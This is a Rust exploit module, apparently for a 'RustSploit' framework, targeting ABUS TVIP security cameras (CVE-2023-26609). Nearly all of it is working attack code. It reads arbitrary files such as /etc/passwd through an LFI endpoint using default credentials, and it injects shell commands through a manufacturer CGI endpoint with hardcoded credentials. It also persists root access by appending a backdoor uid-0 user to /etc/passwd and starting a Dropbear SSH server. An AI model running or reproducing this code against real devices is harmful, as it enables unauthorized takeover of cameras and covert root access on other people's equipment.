// Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
// CVE: CVE-2023-26609
// Author: d1g@segfault.net | Ported to Rust for RustSploit
// PoC converted 1:1 from Bash to async Rust logic

// Cargo.toml:
// [dependencies]
// anyhow = "1.0"
// reqwest = { version = "0.11", features = ["blocking", "rustls-tls"] }
// md5 = "0.7.0"

use anyhow::{Result, anyhow};
use md5;
use reqwest::Client;
use std::io::{self, Write};

/// Wraps/bracket-sanitizes IPv6 addresses (and leaves IPv4/hostnames alone)
fn format_host(raw: &str) -> String {
    if raw.contains(':') {
        // strip any number of existing brackets, then wrap once
        let stripped = raw.trim_matches(|c| c == '[' || c == ']');
        format!("[{}]", stripped)
    } else {
        raw.to_string()
    }
}

/// Send authenticated LFI request
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
    let host = format_host(target);
    let url = format!(
        "http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
        host, filepath
    );
    println!("[*] Sending LFI request to: {}", url);

    let resp = client.get(&url).send().await?;
    println!("[+] Status: {}", resp.status());
    println!("[+] Body:\n{}", resp.text().await?);
    Ok(())
}

/// Send authenticated RCE request with command injection
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
    let host = format_host(target);
    let url = format!(
        "http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
        host, cmd
    );
    println!("[*] Sending RCE request to: {}", url);

    let resp = client.get(&url).send().await?;
    println!("[+] Status: {}", resp.status());
    println!("[+] Body:\n{}", resp.text().await?);
    Ok(())
}

/// Stage 1: Generate SSH key
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
    let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
    println!("[*] Generating SSH key on target...");
    exploit_rce(client, target, cmd).await
}

/// Stage 2: Inject a root user with an MD5-hashed password
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
    // Compute lowercase-hex MD5 of the provided password
    let hash = format!("{:x}", md5::compute(password));
    println!("[*] MD5 hash of password: {}", hash);

    // Build the echo command to append to /etc/passwd
    let cmd = format!(
        "echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
        hash
    );
    println!("[*] Injecting root user into /etc/passwd...");
    exploit_rce(client, target, &cmd).await
}

/// Stage 3: Start Dropbear SSH server
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
    let cmd = "/etc/dropbear/dropbear%20-E%20-F";
    println!("[*] Starting Dropbear SSH server...");
    exploit_rce(client, target, cmd).await
}

/// Combined SSH persistence exploit
async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Result<()> {
    generate_ssh_key(client, target).await?;
    inject_root_user(client, target, password).await?;
    start_dropbear(client, target).await?;
    println!("[+] Persistence complete! You can now SSH in with:");
    println!(
        "    sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\
         -oHostKeyAlgorithms=+ssh-rsa d1g@{}",
        password, target
    );
    Ok(())
}

/// Prompt user for mode, and dispatch accordingly
async fn execute(target: &str) -> Result<()> {
    let client = Client::builder()
        .danger_accept_invalid_certs(true)
        .build()?;

    println!("[*] Exploit mode selection for target: {}", target);
    println!("  [1] LFI");
    println!("  [2] RCE");
    println!("  [3] SSH Persistence");
    print!("> ");
    io::stdout().flush()?;

    let mut choice = String::new();
    io::stdin().read_line(&mut choice)?;
    match choice.trim() {
        "1" => {
            print!("Enter file path to read (e.g. /etc/passwd): ");
            io::stdout().flush()?;
            let mut fp = String::new();
            io::stdin().read_line(&mut fp)?;
            exploit_lfi(&client, target, fp.trim()).await?;
        }
        "2" => {
            print!("Enter command to execute (e.g. id): ");
            io::stdout().flush()?;
            let mut cmd = String::new();
            io::stdin().read_line(&mut cmd)?;
            exploit_rce(&client, target, cmd.trim()).await?;
        }
        "3" => {
            // Ask for the desired password, hash it, and persist
            print!("Enter desired password for new root user: ");
            io::stdout().flush()?;
            let mut pwd = String::new();
            io::stdin().read_line(&mut pwd)?;
            let pwd = pwd.trim();
            if pwd.is_empty() {
                return Err(anyhow!("Password cannot be empty"));
            }
            persist_root_shell(&client, target, pwd).await?;
        }
        _ => return Err(anyhow!("Invalid choice")),
    }

    Ok(())
}

/// Entry point for the RustSploit dispatch system
pub async fn run(target: &str) -> Result<()> {
    execute(target).await
}

